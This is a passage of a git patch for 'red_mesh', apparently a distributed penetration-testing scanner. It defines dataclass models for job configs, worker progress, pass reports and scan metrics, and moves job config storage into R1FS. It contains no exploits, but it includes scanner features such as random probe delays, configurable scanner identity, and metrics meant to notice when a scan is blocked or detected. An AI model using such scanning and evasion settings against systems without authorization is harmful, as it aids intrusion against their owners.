exceptions=d.get("exceptions", []), + distribution_strategy=d.get("distribution_strategy", "SLICE"), + port_order=d.get("port_order", "SEQUENTIAL"), + nr_local_workers=d.get("nr_local_workers", 2), + enabled_features=d.get("enabled_features", []), + excluded_features=d.get("excluded_features", []), + run_mode=d.get("run_mode", "SINGLEPASS"), + scan_min_delay=d.get("scan_min_delay", 0), + scan_max_delay=d.get("scan_max_delay", 0), + ics_safe_mode=d.get("ics_safe_mode", False), + redact_credentials=d.get("redact_credentials", True), + scanner_identity=d.get("scanner_identity", ""), + scanner_user_agent=d.get("scanner_user_agent", ""), + task_name=d.get("task_name", ""), + task_description=d.get("task_description", ""), + monitor_interval=d.get("monitor_interval", 0), + selected_peers=d.get("selected_peers"), + created_by_name=d.get("created_by_name", ""), + created_by_id=d.get("created_by_id", ""), + authorized=d.get("authorized", False), + ) + + +@dataclass(frozen=True) +class WorkerReportMeta: + """ + Per-worker summary inside a PassReport. + + Lightweight metadata for attribution. The full raw report + is available via report_cid (Layer 3). + """ + report_cid: str # nested CID -> WorkerReport in R1FS + start_port: int + end_port: int + ports_scanned: int = 0 + open_ports: list = None # [int] + nr_findings: int = 0 + + def to_dict(self) -> dict: + d = asdict(self) + if d["open_ports"] is None: + d["open_ports"] = [] + return d + + @classmethod + def from_dict(cls, d: dict) -> WorkerReportMeta: + return cls( + report_cid=d["report_cid"], + start_port=d["start_port"], + end_port=d["end_port"], + ports_scanned=d.get("ports_scanned", 0), + open_ports=d.get("open_ports", []), + nr_findings=d.get("nr_findings", 0), + ) + + +@dataclass(frozen=True) +class PassReport: + """ + Consolidated pass report stored in R1FS (one CID per pass). + + Contains aggregated scan data from all workers, risk assessment, + LLM analysis (inline), and per-worker attribution with nested CIDs. + """ + pass_nr: int + date_started: float + date_completed: float + duration: float + + # Aggregated scan data — stored as separate CID, not inline + aggregated_report_cid: str # CID -> AggregatedScanData in R1FS + + # Per-worker attribution + worker_reports: dict # { addr: WorkerReportMeta.to_dict() } + + # Risk + risk_score: float = 0 + risk_breakdown: dict = None # RiskBreakdown.to_dict() + + # LLM (inline text) + llm_analysis: str = None # markdown + quick_summary: str = None # 2-4 sentences + llm_failed: bool = None # True if LLM API was unavailable — absent on success (_strip_none) + + # Flat findings (enriched dicts extracted from service_info/web_tests_info/correlation_findings) + findings: list = None # [ { severity, confidence, port, protocol, probe, category, evidence, ... } ] + + # Scan metrics (pass-level aggregate across all nodes) + scan_metrics: dict = None # ScanMetrics.to_dict() + + # Attestation + redmesh_test_attestation: dict = None + + def to_dict(self) -> dict: + return _strip_none(asdict(self)) + + @classmethod + def from_dict(cls, d: dict) -> PassReport: + return cls( + pass_nr=d["pass_nr"], + date_started=d["date_started"], + date_completed=d["date_completed"], + duration=d.get("duration", 0), + aggregated_report_cid=d["aggregated_report_cid"], + worker_reports=d.get("worker_reports", {}), + risk_score=d.get("risk_score", 0), + risk_breakdown=d.get("risk_breakdown"), + llm_analysis=d.get("llm_analysis"), + quick_summary=d.get("quick_summary"), + llm_failed=d.get("llm_failed"), + findings=d.get("findings"), + scan_metrics=d.get("scan_metrics"), + redmesh_test_attestation=d.get("redmesh_test_attestation"), + ) + + +@dataclass(frozen=True) +class UiAggregate: + """ + Pre-computed aggregate view for the frontend. + + Embedded inside JobArchive so the detail page renders + without client-side recomputation. + """ + total_open_ports: list # sorted unique [int] + total_services: int + total_findings: int + latest_risk_score: float + latest_risk_breakdown: dict = None # RiskBreakdown.to_dict() + latest_quick_summary: str = None + findings_count: dict = None # { CRITICAL: int, HIGH: int, MEDIUM: int, LOW: int, INFO: int } + top_findings: list = None # top 10 CRITICAL+HIGH findings for dashboard display + finding_timeline: dict = None # { finding_id: { first_seen, last_seen, pass_count } } + worker_activity: list = None # [ { id, start_port, end_port, open_ports } ] + + def to_dict(self) -> dict: + return _strip_none(asdict(self)) + + @classmethod + def from_dict(cls, d: dict) -> UiAggregate: + return cls( + total_open_ports=d.get("total_open_ports", []), + total_services=d.get("total_services", 0), + total_findings=d.get("total_findings", 0), + latest_risk_score=d.get("latest_risk_score", 0), + latest_risk_breakdown=d.get("latest_risk_breakdown"), + latest_quick_summary=d.get("latest_quick_summary"), + findings_count=d.get("findings_count"), + top_findings=d.get("top_findings"), + finding_timeline=d.get("finding_timeline"), + worker_activity=d.get("worker_activity"), + ) + + +@dataclass(frozen=True) +class JobArchive: + """ + Complete job archive stored in R1FS. + + Written once when job reaches FINALIZED or STOPPED. + The CStore stub holds only job_cid pointing here. + One fetch gives the frontend everything it needs. + """ + job_id: str + job_config: dict # JobConfig.to_dict() + timeline: list # [ TimelineEvent.to_dict() ] + passes: list # [ PassReport.to_dict() ] + ui_aggregate: dict # UiAggregate.to_dict() + duration: float + date_created: float + date_completed: float + start_attestation: dict = None + + def to_dict(self) -> dict: + return _strip_none(asdict(self)) + + @classmethod + def from_dict(cls, d: dict) -> JobArchive: + return cls( + job_id=d["job_id"], + job_config=d.get("job_config", {}), + timeline=d.get("timeline", []), + passes=d.get("passes", []), + ui_aggregate=d.get("ui_aggregate", {}), + duration=d.get("duration", 0), + date_created=d.get("date_created", 0), + date_completed=d.get("date_completed", 0), + start_attestation=d.get("start_attestation"), + ) diff --git a/extensions/business/cybersec/red_mesh/models/cstore.py b/extensions/business/cybersec/red_mesh/models/cstore.py new file mode 100644 index 00000000..d4fa6a44 --- /dev/null +++ b/extensions/business/cybersec/red_mesh/models/cstore.py @@ -0,0 +1,207 @@ +""" +CStore models — ephemeral orchestration state. + + CStoreWorker — worker entry during job execution + PassReportRef — lightweight pass index entry + CStoreJobRunning — full CStore state while job is active + CStoreJobFinalized — pruned CStore stub after close + WorkerProgress — real-time progress (separate hset) +""" + +from __future__ import annotations + +from dataclasses import dataclass, asdict + +from extensions.business.cybersec.red_mesh.models.shared import _strip_none + + +@dataclass(frozen=True) +class CStoreWorker: + """Worker entry in CStore during job execution.""" + start_port: int + end_port: int + finished: bool = False + canceled: bool = False + report_cid: str = None + result: dict = None # fallback: inline report if R1FS is down + + def to_dict(self) -> dict: + return _strip_none(asdict(self)) + + @classmethod + def from_dict(cls, d: dict) -> CStoreWorker: + return cls( + start_port=d["start_port"], + end_port=d["end_port"], + finished=d.get("finished", False), + canceled=d.get("canceled", False), + report_cid=d.get("report_cid"), + result=d.get("result"), + ) + + +@dataclass(frozen=True) +class PassReportRef: + """Lightweight pass index entry stored in CStore.""" + pass_nr: int + report_cid: str + risk_score: float = 0 + + def to_dict(self) -> dict: + return asdict(self) + + @classmethod + def from_dict(cls, d: dict) -> PassReportRef: + return cls( + pass_nr=d["pass_nr"], + report_cid=d["report_cid"], + risk_score=d.get("risk_score", 0), + ) + + +@dataclass(frozen=True) +class CStoreJobRunning: + """ + CStore representation of a running job. + + Contains orchestration state, listing fields, and CID references. + This is the full working state while the job is active. + """ + job_id: str + job_status: str # RUNNING | SCHEDULED_FOR_STOP + job_pass: int + run_mode: str # SINGLEPASS | CONTINUOUS_MONITORING + launcher: str + launcher_alias: str + target: str + task_name: str + start_port: int + end_port: int + date_created: float + job_config_cid: str + workers: dict # { addr: CStoreWorker.to_dict() } + timeline: list # [ TimelineEvent.to_dict() ] + pass_reports: list # [ PassReportRef.to_dict() ] + next_pass_at: float = None + risk_score: float = 0 + redmesh_job_start_attestation: dict = None + last_attestation_at: float = None + + def to_dict(self) -> dict: + return _strip_none(asdict(self)) + + @classmethod + def from_dict(cls, d: dict) -> CStoreJobRunning: + return cls( + job_id=d["job_id"], + job_status=d["job_status"], + job_pass=d.get("job_pass", 1), + run_mode=d["run_mode"], + launcher=d["launcher"], + launcher_alias=d.get("launcher_alias", ""), + target=d["target"], + task_name=d.get("task_name", ""), + start_port=d["start_port"], + end_port=d["end_port"], + date_created=d["date_created"], + job_config_cid=d["job_config_cid"], + workers=d.get("workers", {}), + timeline=d.get("timeline", []), + pass_reports=d.get("pass_reports", []), + next_pass_at=d.get("next_pass_at"), + risk_score=d.get("risk_score", 0), + redmesh_job_start_attestation=d.get("redmesh_job_start_attestation"), + last_attestation_at=d.get("last_attestation_at"), + ) + + +@dataclass(frozen=True) +class CStoreJobFinalized: + """ + CStore stub for a completed job. + + Minimal footprint — everything else is in the Job Archive (job_cid). + Contains only what's needed for the job listing page. + """ + job_id: str + job_status: str # FINALIZED | STOPPED + target: str + task_name: str + risk_score: float + run_mode: str + duration: float + pass_count: int + launcher: str + launcher_alias: str + worker_count: int + start_port: int + end_port: int + date_created: float + date_completed: float + job_cid: str # the one CID -> JobArchive + job_config_cid: str # standalone config CID (needed for purge cleanup) + + def to_dict(self) -> dict: + return asdict(self) + + @classmethod + def from_dict(cls, d: dict) -> CStoreJobFinalized: + return cls( + job_id=d["job_id"], + job_status=d["job_status"], + target=d["target"], + task_name=d.get("task_name", ""), + risk_score=d.get("risk_score", 0), + run_mode=d["run_mode"], + duration=d.get("duration", 0), + pass_count=d.get("pass_count", 0), + launcher=d["launcher"], + launcher_alias=d.get("launcher_alias", ""), + worker_count=d.get("worker_count", 0), + start_port=d["start_port"], + end_port=d["end_port"], + date_created=d["date_created"], + date_completed=d["date_completed"], + job_cid=d["job_cid"], + job_config_cid=d["job_config_cid"], + ) + + +@dataclass(frozen=True) +class WorkerProgress: + """ + Ephemeral real-time progress published by each worker node. + + Stored in a separate CStore hset (hkey = f"{instance_id}:live", + key = f"{job_id}:{worker_addr}"). Cleaned up when the pass completes. + """ + job_id: str + worker_addr: str + pass_nr: int + progress: float # 0.0 - 100.0 + phase: str # port_scan | fingerprint | service_probes | web_tests | correlation + ports_scanned: int + ports_total: int + open_ports_found: list # [int] — discovered so far + completed_tests: list # [str] — which probes finished + updated_at: float # unix timestamp + live_metrics: dict = None # ScanMetrics.to_dict() — partial snapshot, progressively fills in + + def to_dict(self) -> dict: + return _strip_none(asdict(self)) + + @classmethod + def from_dict(cls, d: dict) -> WorkerProgress: + return cls( + job_id=d["job_id"], + worker_addr=d["worker_addr"], + pass_nr=d.get("pass_nr", 1), + progress=d.get("progress", 0), + phase=d.get("phase", ""), + ports_scanned=d.get("ports_scanned", 0), + ports_total=d.get("ports_total", 0), + open_ports_found=d.get("open_ports_found", []), + completed_tests=d.get("completed_tests", []), + updated_at=d.get("updated_at", 0), + live_metrics=d.get("live_metrics"), + ) diff --git a/extensions/business/cybersec/red_mesh/models/reports.py b/extensions/business/cybersec/red_mesh/models/reports.py new file mode 100644 index 00000000..631d38f9 --- /dev/null +++ b/extensions/business/cybersec/red_mesh/models/reports.py @@ -0,0 +1,172 @@ +""" +Scan report models — the aggregation pipeline. + + ThreadReport — single PentestLocalWorker thread output (transient) + NodeReport — per-node aggregate stored in R1FS + AggregatedScanData — network-wide pass aggregate stored in R1FS (CID ref in PassReport) + +Pipeline: + ThreadReport ──(merge threads)──> NodeReport ──(merge nodes)──> AggregatedScanData + has: local_worker_id, has: job_id, target, has: just scan data + progress, done, canceled initiator (no identity) + transient (in-memory only) stored in R1FS (CID) stored in R1FS (CID ref in PassReport) +""" + +from __future__ import annotations + +from dataclasses import dataclass, asdict + +from extensions.business.cybersec.red_mesh.models.shared import _strip_none + + +@dataclass(frozen=True) +class ThreadReport: + """ + Single PentestLocalWorker thread output (get_status). + + Transient — only exists while the job is running. Multiple thread + reports are merged into one NodeReport per node at close time. + + Loosely typed — port-keyed internals stay as plain dicts. + """ + job_id: str + target: str + local_worker_id: str # identifies this thread + start_port: int + end_port: int + open_ports: list # [int] + service_info: dict # { "80/tcp": { "_service_info_http": { ... } } } + web_tests_info: dict # { "80/tcp": { "_web_test_xss": { ... } } } + completed_tests: list # [str] + done: bool + canceled: bool = False + progress: str = "" # e.g. "87.5%" + initiator: str = "" + ports_scanned: int = 0 + nr_open_ports: int = 0 + exceptions: list = None # [int] + web_tested: bool = False + port_protocols: dict = None # { "80": "http", "22": "ssh" } + port_banners: dict = None # { "22": "SSH-2.0-OpenSSH_8.9" } + scan_metrics: dict = None # ScanMetrics.to_dict() — raw thread-level metrics + correlation_findings: list = None + + def to_dict(self) -> dict: + return _strip_none(asdict(self)) + + @classmethod + def from_dict(cls, d: dict) -> ThreadReport: + return cls( + job_id=d.get("job_id", ""), + target=d.get("target", ""), + local_worker_id=d.get("local_worker_id", ""), + start_port=d.get("start_port", 0), + end_port=d.get("end_port", 0), + open_ports=d.get("open_ports", []), + service_info=d.get("service_info", {}), + web_tests_info=d.get("web_tests_info", {}), + completed_tests=d.get("completed_tests", []), + done=d.get("done", False), + canceled=d.get("canceled", False), + progress=d.get("progress", ""), + initiator=d.get("initiator", ""), + ports_scanned=d.get("ports_scanned", 0), + nr_open_ports=d.get("nr_open_ports", 0), + exceptions=d.get("exceptions"), + web_tested=d.get("web_tested", False), + port_protocols=d.get("port_protocols"), + port_banners=d.get("port_banners"), + scan_metrics=d.get("scan_metrics"), + correlation_findings=d.get("correlation_findings"), + ) + + +@dataclass(frozen=True) +class NodeReport: + """ + Per-node aggregate stored in R1FS (one CID per node per pass). + + Produced by merging multiple ThreadReports on each worker node at close time. + No thread identity — local_worker_id is meaningless after merge. + """ + job_id: str + target: str + initiator: str + start_port: int + end_port: int + open_ports: list # [int] — merged from all threads + service_info: dict # merged across threads + web_tests_info: dict # merged across threads + completed_tests: list # [str] — union of all threads + ports_scanned: int = 0 + nr_open_ports: int = 0 + exceptions: list = None # [int] + web_tested: bool = False + port_protocols: dict = None + port_banners: dict = None + scan_metrics: dict = None # ScanMetrics.to_dict() — aggregated across threads + correlation_findings: list = None + + def to_dict(self) -> dict: + return _strip_none(asdict(self)) + + @classmethod + def from_dict(cls, d: dict) -> NodeReport: + return cls( + job_id=d.get("job_id", ""), + target=d.get("target", ""), + initiator=d.get("initiator", ""), + start_port=d.get("start_port", 0), + end_port=d.get("end_port", 0), + open_ports=d.get("open_ports", []), + service_info=d.get("service_info", {}), + web_tests_info=d.get("web_tests_info", {}), + completed_tests=d.get("completed_tests", []), + ports_scanned=d.get("ports_scanned", 0), + nr_open_ports=d.get("nr_open_ports", 0), + exceptions=d.get("exceptions"), + web_tested=d.get("web_tested", False), + port_protocols=d.get("port_protocols"), + port_banners=d.get("port_banners"), + scan_metrics=d.get("scan_metrics"), + correlation_findings=d.get("correlation_findings"), + ) + + +@dataclass(frozen=True) +class AggregatedScanData: + """ + Network-wide scan data aggregated across all nodes for a single pass. + + Produced by _get_aggregated_report on the launcher, merging multiple NodeReports. + No node/thread identity — just the combined scan results. + Stored in R1FS as a separate CID, referenced by PassReport.aggregated_report_cid. + """ + open_ports: list # [int] — sorted unique across all nodes + service_info: dict # merged across all nodes + web_tests_info: dict # merged across all nodes + completed_tests: list # [str] — union across all nodes + ports_scanned: int = 0 + nr_open_ports: int = 0 + port_protocols: dict = None + port_banners: dict = None + scan_metrics: dict = None # ScanMetrics.to_dict() — aggregated across all nodes + correlation_findings: list = None + + def to_dict(self) -> dict: + return _strip_none(asdict(self)) + + @classmethod + def from_dict(cls, d: dict) -> AggregatedScanData: + return cls( + open_ports=d.get("open_ports", []), + service_info=d.get("service_info", {}), + web_tests_info=d.get("web_tests_info", {}), + completed_tests=d.get("completed_tests", []), + ports_scanned=d.get("ports_scanned", 0), + nr_open_ports=d.get("nr_open_ports", 0), + port_protocols=d.get("port_protocols"), + port_banners=d.get("port_banners"), + scan_metrics=d.get("scan_metrics"), + correlation_findings=d.get("correlation_findings"), + ) diff --git a/extensions/business/cybersec/red_mesh/models/shared.py b/extensions/business/cybersec/red_mesh/models/shared.py new file mode 100644 index 00000000..377722d8 --- /dev/null +++ b/extensions/business/cybersec/red_mesh/models/shared.py @@ -0,0 +1,147 @@ +""" +Shared / foundational models used across all layers. + + TimelineEvent — single timeline event + RiskBreakdown — risk score components + ScanMetrics — operational scan statistics +""" + +from __future__ import annotations + +from dataclasses import dataclass, asdict + + +def _strip_none(d: dict) -> dict: + """Remove keys with None values for cleaner serialization.""" + return {k: v for k, v in d.items() if v is not None} + + +@dataclass(frozen=True) +class TimelineEvent: + type: str # created | started | scan_completed | pass_completed | finalized | stopped | ... + label: str + date: float # unix timestamp + actor: str = "" + actor_type: str = "system" # user | system | node + meta: dict = None + + def to_dict(self) -> dict: + return _strip_none(asdict(self)) + + @classmethod + def from_dict(cls, d: dict) -> TimelineEvent: + return cls( + type=d["type"], + label=d["label"], + date=d["date"], + actor=d.get("actor", ""), + actor_type=d.get("actor_type", "system"), + meta=d.get("meta"), + ) + + +@dataclass(frozen=True) +class RiskBreakdown: + findings_score: float = 0 + open_ports_score: float = 0 + breadth_score: float = 0 + credentials_penalty: float = 0 + raw_total: float = 0 + finding_counts: dict = None # { "CRITICAL": 2, "HIGH": 5, ... } + + def to_dict(self) -> dict: + return _strip_none(asdict(self)) + + @classmethod + def from_dict(cls, d: dict) -> RiskBreakdown: + return cls( + findings_score=d.get("findings_score", 0), + open_ports_score=d.get("open_ports_score", 0), + breadth_score=d.get("breadth_score", 0), + credentials_penalty=d.get("credentials_penalty", 0), + raw_total=d.get("raw_total", 0), + finding_counts=d.get("finding_counts"), + ) + + +@dataclass(frozen=True) +class ScanMetrics: + """ + Operational statistics collected during scanning. + + Attached to each report level (thread → node → pass → archive). + Persisted in R1FS at every level for historical reference. + + Thread level collects raw data; aggregation levels carry computed + distributions (percentiles, stddev) rather than raw arrays. + """ + + # ── Timing profile ── + phase_durations: dict = None # { "port_scan": 480.2, "fingerprint": 120.5, + # "service_probes": 95.1, "web_tests": 140.3, + # "correlation": 2.1 } seconds per phase + total_duration: float = 0 + + # Port scan timing (actual inter-probe delays) + port_scan_delays: dict = None # { "min": 0.1, "max": 1.5, "mean": 0.78, + # "median": 0.72, "stddev": 0.31, + # "p95": 1.3, "p99": 1.48 } + + # ── Connection behavior ── + connection_outcomes: dict = None # { "connected": 847, "timeout": 142, + # "refused": 11, "reset": 0, + # "error": 0, "total": 1000 } + response_times: dict = None # { "min": 0.008, "max": 2.1, "mean": 0.045, + # "median": 0.032, "p95": 0.12, "p99": 0.45 } + # TCP connection time distribution (seconds) + slow_ports: list = None # [ { "port": 443, "avg_ms": 2100, + # "reason": "possible_waf" } ] + + # ── Detection indicators ── + success_rate_over_time: list = None # [ { "window_start": 0, "window_end": 60, + # "success_rate": 0.98 }, ... ] + # degrading rate = scan likely detected + rate_limiting_detected: bool = False + blocking_detected: bool = False + + # ── Coverage ── + coverage: dict = None # { "ports_in_range": 1000, "ports_scanned": 1000, + # "ports_skipped": 0, "coverage_pct": 100.0 } + probes_attempted: int = 0 + probes_completed: int = 0 + probes_skipped: int = 0 + probes_failed: int = 0 + probe_breakdown: dict = None # { "_service_info_http": "completed", + # "_web_test_xss": "skipped:no_http", + # "_service_info_modbus": "skipped:disabled" } + + # ── Discovery stats ── + port_distribution: dict = None # { "well_known": 4, "registered": 2, "ephemeral": 1 } + service_distribution: dict = None # { "http": 3, "ssh": 1, "mysql": 1 } + finding_distribution: dict = None # { "CRITICAL": 1, "HIGH": 3, "MEDIUM": 7, ... } + + def to_dict(self) -> dict: + return _strip_none(asdict(self)) + + @classmethod + def from_dict(cls, d: dict) -> ScanMetrics: + return cls( + phase_durations=d.get("phase_durations"), + total_duration=d.get("total_duration", 0), + port_scan_delays=d.get("port_scan_delays"), + connection_outcomes=d.get("connection_outcomes"), + response_times=d.get("response_times"), + slow_ports=d.get("slow_ports"), + success_rate_over_time=d.get("success_rate_over_time"), + rate_limiting_detected=d.get("rate_limiting_detected", False), + blocking_detected=d.get("blocking_detected", False), + coverage=d.get("coverage"), + probes_attempted=d.get("probes_attempted", 0), + probes_completed=d.get("probes_completed", 0), + probes_skipped=d.get("probes_skipped", 0), + probes_failed=d.get("probes_failed", 0), + probe_breakdown=d.get("probe_breakdown"), + port_distribution=d.get("port_distribution"), + service_distribution=d.get("service_distribution"), + finding_distribution=d.get("finding_distribution"), + ) From 3e95688d0ddcc9a8e0c6bbfd7bc9f72d45ed7210 Mon Sep 17 00:00:00 2001 From: toderian Date: Sat, 7 Mar 2026 19:54:12 +0000 Subject: [PATCH 09/42] feat: keep jo config in r1fs --- .../cybersec/red_mesh/pentester_api_01.py | 186 ++++++++------ .../red_mesh/redmesh_llm_agent_mixin.py | 12 +- .../cybersec/red_mesh/test_redmesh.py | 233 ++++++++++++++++++ 3 files changed, 356 insertions(+), 75 deletions(-) diff --git a/extensions/business/cybersec/red_mesh/pentester_api_01.py b/extensions/business/cybersec/red_mesh/pentester_api_01.py index a1216401..813b9338 100644 --- a/extensions/business/cybersec/red_mesh/pentester_api_01.py +++ b/extensions/business/cybersec/red_mesh/pentester_api_01.py @@ -38,6 +38,7 @@ from naeural_core.business.default.web_app.fast_api_web_app import FastApiWebAppPlugin as BasePlugin from .redmesh_utils import PentestLocalWorker # Import PentestJob from separate module from .redmesh_llm_agent_mixin import _RedMeshLlmAgentMixin +from .models import JobConfig from .constants import ( FEATURE_CATALOG, LLM_ANALYSIS_SECURITY_ASSESSMENT, @@ -580,6 +581,30 @@ def _normalize_job_record(self, job_key, job_spec, migrate=False): return job_key, normalized + def _get_job_config(self, job_specs): + """ + Fetch the immutable job config from R1FS via job_config_cid. + + Parameters + ---------- + job_specs : dict + Job specification stored in CStore. + + Returns + ------- + dict + Job config dict, or empty dict if unavailable. + """ + cid = job_specs.get("job_config_cid") + if not cid: + return {} + config = self.r1fs.get_json(cid) + if config is None: + self.P(f"Failed to fetch job config from R1FS (CID: {cid})", color='r') + return {} + return config + + def _get_worker_entry(self, job_id, job_spec): """ Get the worker entry for this node from the job spec. @@ -759,9 +784,6 @@ def _maybe_launch_jobs(self, nr_local_workers=None): continue target = job_specs.get("target") job_id = job_specs.get("job_id", normalized_key) - port_order = job_specs.get("port_order", self.cfg_port_order) - excluded_features = job_specs.get("excluded_features", self.cfg_excluded_features) - enabled_features = job_specs.get("enabled_features", []) if job_id is None: continue worker_entry = self._get_worker_entry(job_id, job_specs) @@ -806,16 +828,20 @@ def _maybe_launch_jobs(self, nr_local_workers=None): if end_port is None: self.P("No end port specified, defaulting to 65535.") end_port = 65535 - exceptions = job_specs.get("exceptions", []) - # Ensure exceptions is always a list (handle legacy string format) + # Fetch job config from R1FS + job_config = self._get_job_config(job_specs) + exceptions = job_config.get("exceptions", []) if not isinstance(exceptions, list): exceptions = [] - scan_min_delay = job_specs.get("scan_min_delay", self.cfg_scan_min_rnd_delay) - scan_max_delay = job_specs.get("scan_max_delay", self.cfg_scan_max_rnd_delay) - ics_safe_mode = job_specs.get("ics_safe_mode", self.cfg_ics_safe_mode) - scanner_identity = job_specs.get("scanner_identity", self.cfg_scanner_identity) - scanner_user_agent = job_specs.get("scanner_user_agent", self.cfg_scanner_user_agent) - workers_from_spec = job_specs.get("nr_local_workers") + port_order = job_config.get("port_order", self.cfg_port_order) + excluded_features = job_config.get("excluded_features", self.cfg_excluded_features) + enabled_features = job_config.get("enabled_features", []) + scan_min_delay = job_config.get("scan_min_delay", self.cfg_scan_min_rnd_delay) + scan_max_delay = job_config.get("scan_max_delay", self.cfg_scan_max_rnd_delay) + ics_safe_mode = job_config.get("ics_safe_mode", self.cfg_ics_safe_mode) + scanner_identity = job_config.get("scanner_identity", self.cfg_scanner_identity) + scanner_user_agent = job_config.get("scanner_user_agent", self.cfg_scanner_user_agent) + workers_from_spec = job_config.get("nr_local_workers") if nr_local_workers is not None: workers_requested = nr_local_workers elif workers_from_spec is not None and int(workers_from_spec) > 0: @@ -1100,7 +1126,8 @@ def _close_job(self, job_id, canceled=False): # Save full report to R1FS and store only CID in CStore if report: # Redact credentials before persisting - redact = job_specs.get("redact_credentials", True) + job_config = self._get_job_config(job_specs) + redact = job_config.get("redact_credentials", True) persist_report = self._redact_report(report) if redact else report try: report_cid = self.r1fs.add_json(persist_report, show_logs=False) @@ -1123,7 +1150,7 @@ def _close_job(self, job_id, canceled=False): worker_entry["report_cid"] = None worker_entry["result"] = report - # Re-read job_specs to avoid overwriting concurrent updates (e.g., pass_history) + # Re-read job_specs to avoid overwriting concurrent updates (e.g., pass_reports) fresh_job_specs = self.chainstore_hget(hkey=self.cfg_instance_id, key=job_id) if fresh_job_specs and isinstance(fresh_job_specs, dict): fresh_job_specs["workers"][self.ee_addr] = worker_entry @@ -1312,7 +1339,7 @@ def _maybe_finalize_pass(self): For all jobs, this method: 1. Detects when all workers have finished the current pass - 2. Records pass completion in pass_history + 2. Records pass completion in pass_reports For CONTINUOUS_MONITORING jobs, additionally: 3. Schedules the next pass after monitor_interval @@ -1346,7 +1373,7 @@ def _maybe_finalize_pass(self): next_pass_at = job_specs.get("next_pass_at") job_pass = job_specs.get("job_pass", 1) job_id = job_specs.get("job_id") - pass_history = job_specs.setdefault("pass_history", []) + pass_reports = job_specs.setdefault("pass_reports", []) # Skip jobs that are already finalized or stopped if job_status in ("FINALIZED", "STOPPED"): @@ -1413,7 +1440,7 @@ def _maybe_finalize_pass(self): color='r' ) - pass_history.append(pass_record) + pass_reports.append(pass_record) # Handle SINGLEPASS - set FINALIZED and exit (no scheduling) if run_mode == "SINGLEPASS": @@ -1458,7 +1485,8 @@ def _maybe_finalize_pass(self): self._run_quick_summary_analysis(job_id, job_specs, workers, pass_nr=job_pass) # Schedule next pass - interval = job_specs.get("monitor_interval", self.cfg_monitor_interval) + job_config = self._get_job_config(job_specs) + interval = job_config.get("monitor_interval", self.cfg_monitor_interval) jitter = random.uniform(0, self.cfg_monitor_jitter) job_specs["next_pass_at"] = self.time() + interval + jitter self._emit_timeline_event(job_specs, "pass_completed", f"Pass {job_pass} completed") @@ -1847,48 +1875,61 @@ def launch_test( job_id = self.uuid(8) self.P(f"Launching {job_id=} {target=} with {exceptions=}") self.P(f"Announcing pentest to workers (instance_id {self.cfg_instance_id})...") + + # Build immutable job config and persist to R1FS + job_config = JobConfig( + target=target, + start_port=start_port, + end_port=end_port, + exceptions=exceptions, + distribution_strategy=distribution_strategy, + port_order=port_order, + nr_local_workers=nr_local_workers, + enabled_features=enabled_features, + excluded_features=excluded_features, + run_mode=run_mode, + scan_min_delay=scan_min_delay, + scan_max_delay=scan_max_delay, + ics_safe_mode=ics_safe_mode, + redact_credentials=redact_credentials, + scanner_identity=scanner_identity, + scanner_user_agent=scanner_user_agent, + task_name=task_name, + task_description=task_description, + monitor_interval=monitor_interval, + selected_peers=active_peers, + created_by_name=created_by_name or "", + created_by_id=created_by_id or "", + authorized=True, + ) + job_config_cid = self.r1fs.add_json(job_config.to_dict(), show_logs=False) + if not job_config_cid: + self.P("Failed to store job config in R1FS — aborting launch", color='r') + return {"error": "Failed to store job config in R1FS"} + job_specs = { "job_id" : job_id, + # Listing fields (duplicated from config for zero-fetch listing) "target": target, - "exceptions" : exceptions, + "task_name": task_name, "start_port" : start_port, "end_port" : end_port, + "risk_score": 0, + "date_created": self.time(), + # Orchestration "launcher": self.ee_addr, "launcher_alias": self.ee_id, "timeline": [], "workers" : workers, - "distribution_strategy": distribution_strategy, - "port_order": port_order, - "excluded_features": excluded_features, - "enabled_features": enabled_features, # Job lifecycle: RUNNING | SCHEDULED_FOR_STOP | STOPPED | FINALIZED "job_status": "RUNNING", # Continuous monitoring fields "run_mode": run_mode, - "monitor_interval": monitor_interval, "job_pass": 1, "next_pass_at": None, - "pass_history": [], - # Dune sand walking - "scan_min_delay": scan_min_delay, - "scan_max_delay": scan_max_delay, - # Human-readable task info - # TODO: rename to job_ - "task_name": task_name, - "task_description": task_description, - # Peer selection (defaults to all chainstore_peers if not specified) - "selected_peers": active_peers, - # Security hardening options - "redact_credentials": redact_credentials, - "ics_safe_mode": ics_safe_mode, - "scanner_identity": scanner_identity, - "scanner_user_agent": scanner_user_agent, - "authorized": True, - # Parallel scan threads per worker node - "nr_local_workers": nr_local_workers, - # User identity (forwarded from Navigator UI) - "created_by_name": created_by_name or None, - "created_by_id": created_by_id or None, + "pass_reports": [], + # Config CID (written once at launch) + "job_config_cid": job_config_cid, } self._emit_timeline_event( job_specs, "created", @@ -2021,9 +2062,9 @@ def list_network_jobs(self): for job_key, job_spec in raw_network_jobs.items(): normalized_key, normalized_spec = self._normalize_job_record(job_key, job_spec) if normalized_key and normalized_spec: - # Replace heavy pass_history with a lightweight count for listing - pass_history = normalized_spec.pop("pass_history", None) - normalized_spec["pass_count"] = len(pass_history) if isinstance(pass_history, list) else 0 + # Replace heavy pass_reports with a lightweight count for listing + pass_reports = normalized_spec.pop("pass_reports", None) + normalized_spec["pass_count"] = len(pass_reports) if isinstance(pass_reports, list) else 0 normalized_jobs[normalized_key] = normalized_spec return normalized_jobs @@ -2119,15 +2160,21 @@ def purge_job(self, job_id: str): if cid: cids.add(cid) - for entry in job_specs.get("pass_history", []): + # Collect CIDs from pass reports + for entry in job_specs.get("pass_reports", []): for addr, cid in entry.get("reports", {}).items(): if cid: cids.add(cid) - for key in ("llm_analysis_cid", "quick_summary_cid"): + for key in ("llm_analysis_cid", "quick_summary_cid", "report_cid"): cid = entry.get(key) if cid: cids.add(cid) + # Collect job config CID + config_cid = job_specs.get("job_config_cid") + if config_cid: + cids.add(config_cid) + # Delete from R1FS (best-effort) deleted = 0 for cid in cids: @@ -2239,7 +2286,7 @@ def stop_monitoring(self, job_id: str, stop_type: str = "SOFT"): "stop_type": stop_type, "job_id": job_id, "passes_completed": passes_completed, - "pass_history": job_specs.get("pass_history", []), + "pass_reports": job_specs.get("pass_reports", []), } @@ -2297,6 +2344,7 @@ def analyze_job( # Add job metadata to report for context target = job_specs.get("target", "unknown") + job_config = self._get_job_config(job_specs) aggregated_report["_job_metadata"] = { "job_id": job_id, "target": target, @@ -2304,7 +2352,7 @@ def analyze_job( "worker_addresses": list(workers.keys()), "start_port": job_specs.get("start_port"), "end_port": job_specs.get("end_port"), - "enabled_features": job_specs.get("enabled_features", []), + "enabled_features": job_config.get("enabled_features", []), } # Call LLM Agent API @@ -2327,23 +2375,23 